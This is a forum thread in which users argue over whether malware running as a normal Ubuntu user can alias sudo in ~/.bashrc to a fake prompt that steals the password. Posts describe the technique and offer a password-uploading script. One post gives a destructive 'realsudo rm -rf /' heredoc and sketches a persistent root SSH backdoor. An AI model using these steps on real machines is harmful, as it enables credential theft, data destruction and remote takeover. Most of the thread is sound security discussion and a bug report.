Proof-of-concept sudo exploitation via social engineering

[Adnarim]

Well while reading the sticky above I was wondering if you are aware that it's pretty simple to raise from user to root lvl, if you have once access to a system? There's no need for a local root exploit because of the .bashrc file in the homedir. The file is writeble from the useraccount, so you need just to append alias sudo=pwdstealingfakesudo to it and the next time the user will use sudo he's dead.
One could also simple social engenier a new ubuntu- or linux-user (maybe also an ignorant older one..) this remotly by telling one to execute a "harmless" tool/script (and also if not tested I'm pretty sure this can also be triggered by userlevel applications which support plugins!) and telling him he hasn't to be afraid because he just should execute it with user priviledges and not root and he's dead too.

I'm asking myself why this file is by default writeable by the user on Ubuntu Feisty Fawn Desktop-System, if you take in mind how often a normal user needs this file and how dangerous this is as I explained above. This could also be a nice way for very very dangerous virii for ubuntu!

Workaround: A simple prevention for this would be chmod u=r .bashrc

The same affects of course also the alias command per se also if it is a bit more harder (you need luck) to exploit... because user needs to use sudo in the same session and console ...

greets

[aysiu]

Have you considered filing a bug report on it?

[Adnarim]

It's no bug , or is it ?!?

[digitalbenji]

This is a bit loony IMO.
First, assume that you have this fakesudo app, that actually is able to redirect commands to sudo when given the real sudo password, you run in to the problem of needing access to the users directory to begin with. The .bashrc file is writeable only from the user whose account it is, user a does not have implicit permission to user b's homedir, and thus can't modify said file without that permission being granted.
Second, the posted title strikes me as hyperbolic. Maybe it's just me, but it just strikes me that way.
Third, having access to your own .bashrc file is very useful, if you want to change certain settings and add custom scripts/commands and such.

Does anyone think I'm wrong? Am I misreading this? It seems that the argument being put forth here is essentially that the alias command is dangerous?

[aysiu]

If what you're saying is true (I haven't tested it yet myself), this is a critical bug and should be reported so it can be fixed.

[Adnarim]

@digitalbenji:
lol :) I'm totally aware of everything you've written, but have you read and understood what I wrote above?

Let's assume you have an exploit for any userlevel application on a desktop-system: so with this method you can easily escalade to root priviledges! That's the point here! This is not hyperbolic and a well used technique to own desktop systems..

What problem do you see with this fakesudo-app? That's the easiest step on this.. you could simply ask for the pwd and then abort with a cryptic error-message... next to the fact that there exists real fakesudo scripts you won't notice..

and as I also said above this can be easily used by virii to do harm or simply reload some rootkit!

don't play this down, some noob could read this and believe you...

[Prefader]

I don't think this qualifies as a bug - more as a reminder to:

Lock your screen/log out when you're away from your computer.
Create accounts for each user on your system.
Don't give out your password.
Don't run/install anything you didn't get from a trusted source.

Really, if you are logged in and someone else has access to your keyboard, this sort of thing can't be stopped; chmodding the file to read-only only helps if the person attacking doesn't know to "chmod +w" the .bashrc file.

Unless I'm missing something, this isn't a flaw in the software - digitalbenji has it right, I think.

[Adnarim]

okay I have to confess that this seems to be a stupid workaround.. I just wrote it down without thinking but this changes nothing on the danger of this!!

You don't seem to understand me so I want to make it more clear: this can be used to escalate priviledges

If you don't think that's a problem you should consider switching to Win and working per default as root as every win user uses to do...

[digitalbenji]

ok, lets keep this civil. if this is a critical bug, I want to see it patched as bad as anyone else. can you put some detailed steps how this could be used to escalate privleges? If the privlege escalation depends on stealing the root password via a fakesudo program, I don't know that this is really a bug so much as a creative exploit of a given system setup. On the other hand, if you can exlpain how this can be used to escalate privleges without needing to steal the password with the userland tool, I think we've got a bug.

[Prefader]

This can be used to escalate priveledges, sure.

So can me asking you for your password, and you telling me.

Best practices. That's all this is about. Leaving a user account with admin membership logged in on an unlocked workstation is just asking for trouble, as is running/installing software from untrusted sources.

Your attack vectors are obvious, and can easily be defeated by using common sense. That's all I'm saying. Nobody is denying that this would work.

edit:

My apologies if this sounds uncivil or aggressive - that's definitely not my intent. The method described here just seems more like a reminder that there are certain things that you, as a computer user, need to do in order to protect the security of your system, and to avoid alarmist reactions from less informed readers, I thought it wise to point this out.

[aysiu]

I'm sorry, so does this involve someone using an admin's account and editing the ~/.bashrc file there to invoke something else that would then steal the sudo password? Or does this involve any non-admin account editing its own ~/.bashrc to essentially become a sudoer?

[digitalbenji]

I completly agree with Prefader.

In response to Asiu's question, I don't belove that this allows anyone to become a sudoer, rather, it is just the installation of a keylogger basically at the userland level.

[Adnarim]

I never told this would be a bug, did I ?!?

I just said that this would be a unnessesary danger and a way to make a linux virus as harmfull as a windows one, don't you think that?

A possibility to steal the root-pwd without user noticing that it is gonna be stealed is a danger in my eyes... why say you all this won't be one? I really can't understand this.. it's kind of ingnorance in my eyes..

I repeat again: this makes a linux virus as dangerous as a windows one!!!

but now I'm a little stuck because I can't imagine a good workaround for this...is there a way without chmod to make this file only writeable to root without someone else than root to change the file permissions?


@aysiu: you don't have to be root for this, this whole thing is about getting root ;)

[ghandi69_]

I'm sorry, so does this involve someone using a admin's account and editing the ~/.bashrc file there to invoke something else that would then steal the sudo password? Or does this involve any non-admin account editing its own ~/.bashrc to essentially become a sudoer?

That is the important question.....

[Prefader]

aysiu, your first assumption is the correct one. :)

[Adnarim]

I repeat again:

You don't have to be root!! You can use this to steal a users root account if the user which's .bashrc it is uses sudo!!

[theonlyalterego]

I never told this would be a bug, did I ?!?

I just said that this would be a unnessesary danger and a way to make a linux virus as harmfull as a windows one, don't you think that?

A possibility to steal the root-pwd without user noticing that it is gonna be stealed is a danger in my eyes... why say you all this won't be one? I really can't understand this.. it's kind of ingnorance in my eyes..

I repeat again: this makes a linux virus as dangerous as a windows one!!!

but now I'm a little stuck because I can't imagine a good workaround for this...is there a way without chmod to make this file only writeable to root without someone else than root to change the file permissions?


@aysiu: you don't have to be root for this, this whole thing is about getting root ;)

So far as I can tell the crux of the arguement is based around doing the following:

1. The user MUST install an untrustworthy Application which will prompt them for their password
2. The user MUST then TYPE THE ROOT PASSWORD into this fake app
3. The app then runs the standard 'hey look someone was dumb enough to give me a password no i'll rootkit it' virii

This is nothing new... if you give your password to an application that is malicious, expect it to do malicious things with it. This is more a social engineering crack than anything since it require the user to be convince they're installing a non-evil program that for some reason requires their root password.

[Adnarim]

aysiu, your first assumption is the correct one. :)


********!! You don't have to have an admin account! I'm starting to get sick of it...

[Adnarim]

So far as I can tell the crux of the arguement is based around doing the following:

1. The user MUST install an untrustworthy Application which will prompt them for their password
2. The user MUST then TYPE THE ROOT PASSWORD into this fake app
3. The app then runs the standard 'hey look someone was dumb enough to give me a password no i'll rootkit it' virii

This is nothing new... if you give your password to an application that is malicious, expect it to do malicious things with it. This is more a social engineering crack than anything since it require the user to be convince they're installing a non-evil program that for some reason requires their root password.

You don't understood! The thing is that the user gives his password into fakesudo and thinks it is sudo and not any xyz-app!!!

[Prefader]

Adnarim :

I believe that what we're arriving at here, in a roundabout way, is the whole "sudo vs. root" argument, correct? The problem here isn't so much the .bashrc file, nor it's use of aliases, but the fact that a regular user can escalate privileges within their current session. I think the important thing to take away from this discussion is this:

As long as you don't give anyone else the opportunity to access your workstation while you're logged in, protect your password, and don't install or run software from untrusted sources, this attack can't be implemented.

Correct?

[bashologist]

You don't understood! The thing is that the user gives his password into fakesudo and thinks it is sudo and not any xyz-app!!!

This's confusing. So, then the same could be done in a terminal session. This password stealing sudo you mentioned would have to have execute permissions no? Using a plugin? What do you mean by that?

I don't think so.

[tuxcantfly]

yep, Adnarim is right, it DOES work, .bashrc certainly is editable as a normal user. I've just made a nice little fakesudo script that steals passwords and uploads them that works with this, if anyone needs it I can upload it...

If any of you don't understand what he's talking about, this is basically a 2-step process:

1. as the normal user (no root privs), the user runs some script that sneakily puts the alias into the .bashrc
2. once the .bashrc has been infected, the user starts up bash, enters sudo, thinks he sees the normal sudo prompt but it's just a disguised fakesudo, and not knowing that it is, he enters the password, which fakesudo takes and uploads to some remote location
3. then fakesudo can reverse the change by removing the alias, so that the user has normal sudo, and can even call sudo so the user doensn't know that anything has happened
4. the password has then been uploaded to the remote location, with user and hostname (and maybe IP address), so the attacker then simply can walk up to the computer and enter the password, on the real sudo, to get root access

[Foxmike]

Adnarim, there is no need to shout here. Everybody here understands that if you use sudo, then you are obiously not root. The ability for a user to use the sudo command is provided by the "admin" group. I think that aysiu's questions was is that this problem concerns only users part of the "admin" group (and that can use sudo) or any other user as well.

Repeating things here will not help you. We can just drag up an re-read what you wrote.

[digitalbenji]

Adnarim: how does the fakesudo app get there?

The implicit assumption you are working on is a breach of security, either physical or otherwise. That is a circular argument, using the assumption of a security breach to install the keylogger and then arguing that linux has a flaw because of the security breach.

If we eliminate that assumption, then the issue seems to go away. The editable .bashrc file isn't such a danger (its actually very useful) if there is no keylogger being aliased for sudo.

[aysiu]

So is this basically saying something along the lines of "If you leave the door to your apartment open, someone can then get to your spare key and make a copy to open the locked door later"?

[Prefader]

yep, Adnarim is right, it DOES work, .bashrc certainly is editable as a normal user. I've just made a nice little fakesudo script that steals passwords and uploads them that works with this, if anyone needs it I can upload it...

Of course it works - the problem is in implementing it. Shall I offer up a system for you to try this in? I guarantee that, using the method Adnarim describes, you won't be able to implement it. Why? Because in order to edit MY .bashrc file, you must be logged in AS ME. How do you propose to log in as me and edit this file?

[tuxcantfly]

So is this basically saying something along the lines of "If you leave the door to your apartment open, someone can then get to your spare key and make a copy to open the locked door later"?

Kind of, but the thing is, you DON'T have to run the offending script as root; most people are only cautious when running things as root, and aren't as concerned when running as a normal user.

[Adnarim]

Kind of, but the thing is, you DON'T have to run the offending script as root; most people are only cautious when running things as root, and aren't as concerned when running as a normal user.

Exaclty and then the next time they run sudo they are ****** up without knowing because they think they gave the pwd into sudo but it wasn't !

[aysiu]

I still don't understand the technical aspects of this alleged flaw.

Let's be clear about this. Jennie belongs to the admin group. Hilda does not belong to the admin group (She is ordinarily not allowed to use sudo to execute commands with root privileges).

Scenario 1
Jennie is not logged in. Hilda logs into her own account and edits the /home/hilda/.bashrc file making an alias for sudo. The next time Jennie logs in and uses sudo, Hilda is then able to steal Jennie's password or privileges.

Scenario 2
Jennie is logged in but gets up to get a cup of coffee. Hilda sits down at Jennie's unlocked session and edits the /home/jennie/.bashrc file making an alias for sudo that allows her to steal Jennie's password when Jennie invokes sudo after getting her coffee.

Which one are we talking about? Or are we talking about a Scenario 3 of some kind?

[Adnarim]

I don't exaclty understand your scenario so I here is mine:

Alice is a normal user on a ubuntu default desktop system. She can execute sudo but needs to type in the root password to use it. Now a virus or a hacker with Alice user priviledges modifies the .bashrc and the next time alice wants to install an app with sudo apt-get install .... the virus or the hacker has the root password of this machine.


Seems to be your scenario 2 but the thing is that this needs not to be done locally but by any virus or hacker who just got user priviliedges!!

[digitalbenji]

My understanding is that we are talking about scenario 2.

The danger Adnarim keeps getting back to is, I assume, that because the .bashrc file is userlevel unprotected, it could be modified without the users knowledge, and then assuming that the user has root credentials, the root password *edit should be root credentials as Ubuntu has no root password* would then be compromised.

Adnarim, is that a correct description of this technique?

[Adnarim]

yes I also got this now ;) , sorry my english is not the best...

[aysiu]

Okay, Ubuntu doesn't have a root password. So is Alice a "normal user" or a "sudo user"? If she's a "sudo user" she uses her own password to temporarily assume root privileges. There is no root password.

How does a virus or hacker have access to Alice's privileges? Is Alice logged in and away from the machine with the machine unlocked and the "hacker" physically in the same room as Alice's computer? How did Alice contract the virus?

[aysiu]

My understanding is that we are talking about scenario 2.

The danger Adnarim keeps getting back to is, I assume, that because the .bashrc file is userlevel unprotected, it could be modified without the users knowledge, and then assuming that the user has root credentials, the root password would then be compromised.

Adnarim, is that a correct description of this technique?

yes I also got this now ;) , sorry my english is not the best... Okay, so it is scenario 2? So the warning is basically don't let someone have access to your .bashrc file if you have sudo privileges.

[digitalbenji]

Exactly, don't let someone have access to your .bashrc file if you're a sudoer.

Aysiu your previous point about Ubuntu not having a default password by default is excellent. I hadn't considered that, so they wouldn't actually have the root password, they would have your password, and if you are a sudoer, that would be equivalent to having the root password.

[aks44]

@Adnarim thanks for the info, I just did

sudo chown root:root ~/.bashrc
sudo chmod 644 /home/ysma/.bashrc

As far as I can tell it takes care of the problem, doesn't it?

EDIT: anyway, I guess it would be worth it filing a bug report (or whatever the devs have access to) so that the correct permissions are set by default for new installations (eg. Gutsy).

[Adnarim]

Okay, Ubuntu doesn't have a root password. So is Alice a "normal user" or a "sudo user"? If she's a "sudo user" she uses her own password to temporarily assume root privileges. There is no root password.
Alice is a sudo user then.


How does a virus or hacker have access to Alice's privileges? Is Alice logged in and away from the machine with the machine unlocked and the "hacker" physically in the same room as Alice's computer? How did Alice contract the virus?
well the hacker gets through a remote exploit e.g. xchat,gaim or any other app access but he just get's root because of the technique described. Otherwise he would be forced to stay on user privilidges because gaim,xchat,etcc.. any not daemon process doesn't give root privilidges.
Alice gets this virus like every human in the history of the human mankind got one...


The whole thing is that the linux concept: don't work as root (which is the default windows misstake and makes this OS so dangerous) makes no sense anymore.

[aysiu]

Well, while having sudo privileges allows you to do anything root can do (and a malicious user could easily set a root password: sudo passwd root ), there is actually a difference. If the malicious user or program was stupid and didn't use that privilege escalation to her advantage in time, another admin user could change Jennie's account to a non-admin account by removing her from the admin group, and that password would then be useless.

[Adnarim]

I think we are getting it, so this is just a danger for sudo-users :) but nevertheless a unnessessary one in my eyes.

sudo passwd root
no for this command the malicoius user would need the sudo password which he hasn't unless he does what I said and what this topic is about... but maby you meant that and I just didn't understood your post right..

[bashologist]

I don't understand ruby, or what exactly has to be done for this to work, but executing this file gives me this error message:
satan@ubuntu:~$ sudo chmod +x ./tests.rb
satan@ubuntu:~$ ./tests.rb
./tests.rb:16:in `file?': can't convert nil into String (TypeError)
from ./tests.rb:16:in `sleeper'
from ./tests.rb:70
satan@ubuntu:~$

[aysiu]

But this escalation of privilege is completely dependent on another failure in security, right?

Either a program has an exploitable flaw that allows arbitrary code to be run (which would presumably modify the current user's .bashrc file) or the user was dumb enough to run a malicious program intentionally, in which case it doesn't really matter how you chmod the .bashrc file, right?

It would seem that the focus on security should be not allowing people to use the sudo account other than the user herself, trying to patch exploits in other programs, and educating users about social engineering.

If you do believe there is a bad Ubuntu security policy in place, though, file a bug on it.

[Calash]

I think the danger, if any is present, is if somebody accidentally download and executes a malicious script of some kind. This script could then edit the .bashrc file to plant the fakesudo script, all still under the user permissions.

Then later on the person does something that requires sudo, and the script captures the password before activating the real sudo. Basically the user just gave the malicious script the password

[aysiu]

I think the danger, if any is present, is if somebody accidentally download and executes a malicious script of some kind. This script could then edit the .bashrc file to plant the fakesudo script, all still under the user permissions.

Then later on the person does something that requires sudo, and the script captures the password before activating the real sudo. Basically the user just gave the malicious script the password
If you're a sudoer who executes a malicious script, well... what does the .bashrc matter? The script could do far worse.

[Adnarim]

But this escalation of privilege is completely dependent on another failure in security, right?

Either a program has an exploitable flaw that allows arbitrary code to be run (which would presumably modify the current user's .bashrc file) or the user was dumb enough to run a malicious program intentionally, in which case it doesn't really matter how you chmod the .bashrc file, right?
That's what I'm talking about the whole time!! But this could be fixed if there would be a forced need to give in the user pwd to change this .bashrc!!

@bashologist: lol that's of course no ready to go exploit...

The script could do far worse.
Which changes nothing on the fact that this can be used to root a system!!

[bashologist]

Disregard my last message; I'm a very tired. There should be a message for every possibility then including the user entering nothing like I did.

satan@ubuntu:~$ sudo blah
sudo: blah: command not found
satan@ubuntu:~$ ./test.rb blah
error: can't find blah
satan@ubuntu:~$

The output is different; I would notice an obvious thing like this, although this is just a proof of concept.

[Adnarim]

The output is different; I would notice an obvious thing like this.

The ouput could be changed of course to a realistic one. I just wrote this down a few minutes ago...

[tuxcantfly]

If you're a sudoer who executes a malicious script, well... what does the .bashrc matter? The script could do far worse.

Well if you execute the malicious script normally, without giving the root password, the worst that could happen is rm -r /home/$USER/* pretty bad but not nearly as bad as if the command "sudo" was aliased to "fakesudo", which could, as an extension to the first exploit, make another alias to create a "realsudo", which stands for the real "sudo" command, then even use the acquired password to run commands like this, immediately after calling the fakesudo, as an extension (example):

realsudo rm -rf / << EOT
echo $passwordstolenbyfakesudo
EOT

Or, better yet, it could do the same process to install sshd, create a new ssh-based remote user, give it root priveledges, and that way the attacker has root priveledges, from anywhere, and knows the passwords...

That's the real danger here; with the previous exploit, the person would actually need to be there, but if these commands are embedded within the "fakesudo", the user can do basically anything as root, without being there, using the password they stole and the alias "realsudo".

Oh and by the way, this could also be applied to csh and zsh by changing their *rc files, so when filing the bug, make sure to mention those; some people don't use bash as their default shell.

[Calash]

True, there is an element of human interaction for this to be any danger. I think the real risk is that the execution of the .bashrc edit would be unnoticed and totally ignored by the user.

I can see the possibility though...would be worth filing the bug.

[imagine]

This attack does not have anything to do with .bashrc at all. An attacker could issue any alias-statements also directly on the command line or in other scripts. Besides there are lots of other ways to run some kind of keylogger, like starting a shell which sends all input not only to stdout but also into a file or to a netcat connection. You wouldn't have to modify the sudo command for that to work.

The *pre*condition for this attack to work is that an attacker has to have unrestricted access to a session of a user who is in the admin-group. He may gain that through social engineering or through a security flaw in another application which allows the execution of arbitrary code. If you know of such a security flaw then please file a bug report (at best directly upstream in the bugtracker of that application). But please refrain from filing bug reports against .bashrc and save yourself and the bug squashing team some time. There is nothing wrong with that file and taking away write access and ownership of .bashrc from the user doesn't make anything any securer.

[darkog]

this does seems like a social engineering attack of some sort. also, to me, this does not sound like Ubuntu specific -- but more on how sudo is implemented. i just checked my FC4 box and my .bashrc file is also owned by my user account not by root. So we could say that that system is also suseptable.

not saying your attack won't work, but saying, in order for it to work, an untrusted malicious code has to be executed by the user. that untrusted code can do a lot of worse things than just modify a .bashrc file -- so the question still stands, Why would it get executed in the first place?

[nutz]

This is a hassle but I do see how it might work.

I would just use a key logger to get the root password if I actually had direct access to an account on the asset where sudo would be used. Please correct me if I am wrong but I think your article implies that access to a user account on the system would be required. A key logger would be effortless to implement under these circumstances and you could get all their passwords. Not just root... This is how $450,000 recently disappeared from a financial institution in California...

So while this does seem to be a plausible exploit I don't see many circumstances where it would actually be used since it requires a rather unique condition to exist before the framework can be set in place to capture the password.

[nutz]

If you have physical access to the system...

http://www.keyghost.com/USB-Keylogger.htm


How often do people check their keyboard connection on the back of their workstation? Most business people use docking stations with their laptop if that is what they use. And a desktop almost never gets noticed because that view is usually blocked.

The point I am trying to make here is if you have local access to the system many layers of security break down. This is why background checks are done and buildings with sensitive systems are secured.

[DaveAK]

Of course it works - the problem is in implementing it. Shall I offer up a system for you to try this in? I guarantee that, using the method Adnarim describes, you won't be able to implement it. Why? Because in order to edit MY .bashrc file, you must be logged in AS ME. How do you propose to log in as me and edit this file?
OK, I'm new to Linux and don't know anything more than following HOWTO's and the like. I would suggest that the problem isn't in getting YOU to initiate the rouge script, but those who don't know better. I've never got a virus on my Windows system in my life, (all the way back to 3.1). Why? Because I know better. Yet clearly there are plenty of people out there who don't know because attacks on Windows are rampant. As more people give Linux a try, you'll get more people who DON'T know how to protect themselves.

Now while there may be more malicious things they can do than editing the bash file, aren't the better attacks more surreptitious? Identity theft and controlling PC's for DDoS are the in things aren't they? Or am I behind the times? If your new user doesn't even realize that their security has been breached, they'll continue to blindly give away their credit card info etc.

If this is a potential exploit should it not be explored as such? Even if it is a minor possibility, it still has a potential to do harm doesn't it?

[tuxcantfly]

But please refrain from filing bug reports against .bashrc and save yourself and the bug squashing team some time. There is nothing wrong with that file and taking away write access and ownership of .bashrc from the user doesn't make anything any securer.

My question, though, is WHY the .bashrc file is set as editable by the user. It should be set as read-only, to prevent any issues with the aliasing of commands. Yes, the editing of the .bashrc file itself is the main problem, but it really isn't helping that it can be edited without root privs. The issue of .bashrc being editable by the user opens a lot of potential issues, beyond just this password-keylogger example. Say, all the common commands could be mixed up (running cd does ls, running firefox opens nano, etc.), leaving the system in a basically unusable state, and unless the user knows exactly what file has been edited, they're essentially left with an unusable user account.

So, in conclusion, I do agree that the writability of the .bashrc file, as an isolated issue, isn't as major of a problem, but it should still be set as read-only to the user, to avoid vulnerabilities as an easy target of malicious code, perhaps in third-party scripts, run without root privs by the user. Since there's no real inconvenience in setting it read-only (after all we certainly don't edit our bashrc every day, if ever, and when we do, we can just use sudo), and it's a good security precaution for the reasons mentioned above, I still think that it shouldn't be writable by the user, even if it isn't as major of a security issue.

[tuxcantfly]

Please correct me if I am wrong but I think your article implies that access to a user account on the system would be required

Well if the script can just be fetched from a third-party location online (maybe a shady howto or something), so it could be done from online, and the fakesudo procedure could be extended to automatically open the ssh port, install and have sshd startup in the background, and create a new ssh user, using the root password that has been attained by the fakesudo script, then you can just login through ssh and do the dirty work from there, so no, physical access isn't necessarily needed, given that a third-party (malicious) script is run beforehand, as a normal user without root privs (since root privs can later be attained through the fakesudo script).

[[h2o]]

Yes, the editing of the .bashrc file itself is the main problem, but it really isn't helping that it can be edited without root privs. The issue of .bashrc being editable by the user opens a lot of potential issues, beyond just this password-keylogger example. Say, all the common commands could be mixed up (running cd does ls, running firefox opens nano, etc.), leaving the system in a basically unusable state, and unless the user knows exactly what file has been edited, they're essentially left with an unusable user account.

So, in conclusion, I do agree that the writability of the .bashrc file, as an isolated issue, isn't as major of a problem, but it should still be set as read-only to the user, to avoid vulnerabilities as an easy target of malicious code, perhaps in third-party scripts, run without root privs by the user. Since there's no real inconvenience in setting it read-only (after all we certainly don't edit our bashrc every day, if ever, and when we do, we can just use sudo), and it's a good security precaution for the reasons mentioned above, I still think that it shouldn't be writable by the user, even if it isn't as major of a security issue.

Ofcourse it should be writable by the user, since he/she might actually need an alias. I know I do sometimes.

As others have said before: the problem lies not in aliases or .bashrc. If you execute a script from an untrusted source there are a lot of bad stuff that might happen. This is true regardless of operating system.

If someone is actually afraid because of their .bashrc file, then I suggest not connecting to whe Internet, locking down your computer at BIOS level and placing it in a bunker. Problem solved. :)

[tuxcantfly]

Ofcourse it should be writable by the user, since he/she might actually need an alias. I know I do sometimes.

The file can always be edited using sudo. No major inconvenience there. It's not like you edit your .bashrc everyday that it can become an inconvenience

As others have said before: the problem lies not in aliases or .bashrc. If you execute a script from an untrusted source there are a lot of bad stuff that might happen. This is true regardless of operating system.

Yes but when you execute it without sudo it shouldn't be able to harm anything outside the home directory. Users are generally less cautious with scripts if they don't appear to be running as root, like this one is. That leads to a false sense of security, especially due to the "if-it-isn't-root-then-it-can't-do-any-harm mentality that has spread due to the Ubuntu security model. However, this is essentially a privilege-escalation exploit, as the user runs the code, intending it to only be run as a normal user, while it is able to gain the root password, and through that, superuser privileges (either remotely through ssh or locally, depending on how elaborate the initial script is), so that way, it can cause far more harm than the average non-root exploit.

[[h2o]]

Yes but when you execute it without sudo it shouldn't be able to harm anything outside the home directory. Users are generally less cautious with scripts if they don't appear to be running as root, like this one is. That leads to a false sense of security, especially due to the "if-it-isn't-root-then-it-can't-do-any-harm mentality that has spread due to the Ubuntu security model. However, this is essentially a privilege-escalation exploit, as the user runs the code, intending it to only be run as a normal user, while it is able to gain the root password, and through that, superuser privileges (either remotely through ssh or locally, depending on how elaborate the initial script is), so that way, it can cause far more harm than the average non-root exploit.

Still, if someone executes a script from an untrusted third party, then aliasing sudo to steal the password is only one of a hundred possible attacks.

It could start a keylogger, remove all my home files (except .bashrc, which would be locked. Lucky me! ;)), send spam or whatever.

I do agree that putting an alias for sudo in .bashrc is one of the possible exploits, but since it requires a security breach in the first place, I really don't see why it should not be writable by the user.

[Adnarim]

always this keylogger-argument here... Show me any userlvl keylogger which can sniff sudo password, I know not any single one! You would need to hook tty (the pwd is not printed on screen so capturing console input or mirroring it doesn't work) and that you can just do with su-priviledges...

This technique was mainly developed to overcome the problem of userlvl keylogger not being able to do so!

[[h2o]]

always this keylogger-argument here... Show me any userlvl keylogger which can sniff sudo password, I know not any single one! You would need to hook tty (the pwd is not printed on screen so capturing console input or mirroring it doesn't work) and that you can just do with su-priviledges...

This technique was mainly developed to overcome the problem of userlvl keylogger not being able to do so!

I have never written a keylogger, but I have a memory of running an app which caught X keyboard events (used it to check for keycodes for my special keys) and I recall running it as my normal user, although I might be mistaken.

My guess is that there are multiple other ways to do it.

[Adnarim]

rofl, there's a big difference between X's and console's handling of keystrokes :) I'm pretty sure you meant xev which can get key-strokes in X (and only there) through an even handler, but first this doesn't work for console and second I'm not even sure if this will work if you don't install xev as root!!! , so that won't be any option to get the sudo pwd.

Famous userspace ones like iod, uberkey can't get the sudo/su pwd. For more about keyloggers read this: http://www.thc.org/papers/writing-linux-kernel-keylogger.txt

[RoyalShrubber]

ROFL xD

@Adnarim: well that's what you get when you post on board full of selfassured linux noobs that know absolutely nothing about security.

To others - if you don't understand buffer overflows you don't know what we're talking about. Someone can break ff, break gaim, send you 'harmless' odf, pdf that can break your OpenOffice. You don't know how software is broken, do you? Anyway, now you have no foreign code, but zombie in userland.
If what Adnarim explained is possible, this zombie can download code itself, modify that sudo entry and next time you use sudo you're dead. :) Fake sudo can be designed in such way that it can directly hijack system or act as middle link to real sudo and then send back root password to hacker, who could then attack your system again - possibly with ssh for stealth.

Ubuntu proved it again. Use fedora or better yet - openbsd for security. :)

[Adnarim]

yes yesterday night I was close to leave this forums, because noone wanted to understand this... I can feel why blachhates are fed up with this.. talking against the wall. I did the obvious mistake thinking in the security section someone has skills about security ^^

[[h2o]]

rofl, there's a big difference between X's and console's handling of keystrokes :) I'm pretty sure you meant xev which can get key-strokes in X (and only there) through an even handler, but first this doesn't work for console and second I'm not even sure if this will work if you don't install xev as root!!! , so that won't be any option to get the sudo pwd.
I am aware of that. I am also aware of the fact that Ubuntu is primarily a desktop distribution (and thus have X running). If you are running a server without X you are hopefully less likely to run untrusted scripts.
xev runs without being root. Not sure wether or not it is possible to use it for what I thought though.

[Adnarim]

hehe you still didn't got it ... you are also aware that bash/dash/.. are consoles? xev works through a x-window application sending back the keystrokes through event handling. Bash,dash won't send them back! (also not any x-window app will but just the special xev one!!)

[[h2o]]

hehe you still didn't got it ... you are also aware that bash/dash/.. are consoles? xev works through a x-window application sending back the keystrokes through event handling. Bash,dash won't send them back!

Might be true. As I said, I really am not very interested in writing keyloggers.

Look, if this is indeed a breach in security, then file a bug and see wether it gets resolved or not. If more people agree with you and they decide to act on it, then kudos to you.

Until then chill down. Most people are obviously not very worried.

[Adnarim]

;3050356']Most people are obviously not very worried.

Yes thats the problem here! But mostly this is because the people are like you telling they have absolutly no clue about this topic but are writing a bunch of posts playing this down!

[[h2o]]

Yes thats the problem here! But mostly this is because the people are like you telling they have absolutly no clue about this topic but are writing a bunch of posts playing this down!
Not playing it down, merely trying to figure out wether or not this is a security flaw or not. As I said, I am not convinced, but I am not totally unconvinced either. That's why I would love to see the bug filed and have people who are actually experts have their say.

Post bugreport link when done and I'll follow it with interest.

[codmate]

No regular user accounts should be able to sudo.
I have two accounts on my box - one regular user and one sudoer.
I only su to the sudoer account when I want to do root stuff - effectivly treating it as a root account.

I thought everybody did this?

If you treat the sudoer's account as a 'root' account - having only one and restricting access to it, then this 'exploit' should not be an issue.

[Adnarim]

here you go: https://bugs.launchpad.net/ubuntu/+bug/127116

[Adnarim]

@codmate: of course su can also be hijacked through this..

[[h2o]]

No regular user accounts should be able to sudo.
I have two accounts on my box - one regular user and one sudoer.
I only su to the sudoer account when I want to do root stuff - effectivly treating it as a root account. Sounds good.

I thought everybody did this?
Since it is not the default, i would say it is rare. I have never heard about anyone doing it.

If you treat the sudoer's account as a 'root' account - having only one and restricting access to it, then this 'exploit' should not be an issue.
Then why don't you just open up the root account? Sure, sudo gives a few extra features (logging and such) but having to do both su and sudo seem like a bit too much hassle. But I guess if you are very concerned about security it is good.

Personally I feel using sudo is about as much security I need.

[codmate]

;3050460']Sounds good.

Then why don't you just open up the root account? Sure, sudo gives a few extra features (logging and such) but having to do both su and sudo seem like a bit too much hassle. But I guess if you are very concerned about security it is good.

Personally I feel using sudo is about as much security I need.

I like the fact that whenever I need to do anything that *really* needs root, I am made aware of it, and that it is made slightly more difficult.

I find typing sudo and my password every so often isn't much hassle for the extra security it brings :)

Besides - now my server is set up and running I barely need admin access. I use my regular user account (and one or two 'application only' accounts) to run all the stuff I need to run.

I was always taught that you should almost never be root - and I think that's a good philosophy!

[codmate]

@codmate: of course su can also be hijacked through this..

No it can't - as you would need the sudoer's account password in order to edit its .bashrc.

This sudo user's .bashrc is not editable by anybody else by default.

You would need to be in my house, waiting for me to leave a terminal open with me logged in as the sudoer.

You would be waiting a very long time :p

[Adnarim]

Besides - now my server is set up and running I barely need admin access.

You don't check daily for security updates??? sudo apt-get update && sudo apt-get upgrade ?

[AZzKikR]

I don't know what the fuss is, about understanding this problem. The first post seemed very clear to me. Mind if I repeat the issue just for clarity?

Prerequisites:

Mr. Good, who has sudo privileges on a machine.
Mr. Evil, who creates a fake sudo application/script to save anything which is entered in the stdin to a place he has access to (send over HTTP or something). He will create it in such a way that it mimics sudo.
Mr. Evil, who has physical (not remote) access to the machine of Mr. Good.


Now, on to the good part.

Mr. Good logs in to his machine, does some tasks and then decides to leave for a bathroom break.
Mr. Evil installs the fakesudo application somewhere (~/bin of Mr. Good's home directory for example).
Mr. Evil sits at the machine, edits the ~/.bashrc file to add an alias sudo=~/bin/fakesudo.
The next time Mr. Good 'source's the ~/.bashrc, the alias will be added to the environment variables.
Mr. Good returns from his bathroom break, and decides to do some sudo work.
Mr. Good enteres 'sudo /etc/init.d/apache restart' or the like, resulting in the execution of 'fakesudo'.
The real 'sudo' is mimicked by 'fakesudo' without Mr. Good knowing, resulting that Mr. Evil knows Mr. Good's password.


It still is somewhat what was said earlier: if you leave your door open to your house you're guaranteed something bad is going to happen to your possessions. Nonetheless, I can see some problems in the above situation.

[Adnarim]

But if you restrict its danger to physical access you don't get this totally, because this can and very more likely also be exploited through virii or through any userlvl app-exploitation and that's the real danger here!

[AZzKikR]

But if you restrict its danger to physical access you don't get this totally, because this can and very more likely also be exploited through virii or through any userlvl app-exploitation and that's the real danger here!

But may I remind you that the danger of the issue you are talking about is relatively small, if the user is 'dumb' enough to install software from any kind of source (untrusted, unverified, evil, malicious sources)?

[Adnarim]

May I remind you that ubuntu is a user- and newbie-friendly distribution, which is mainly choosen by ppl coming from windows? And would you claim that you are immune against this?

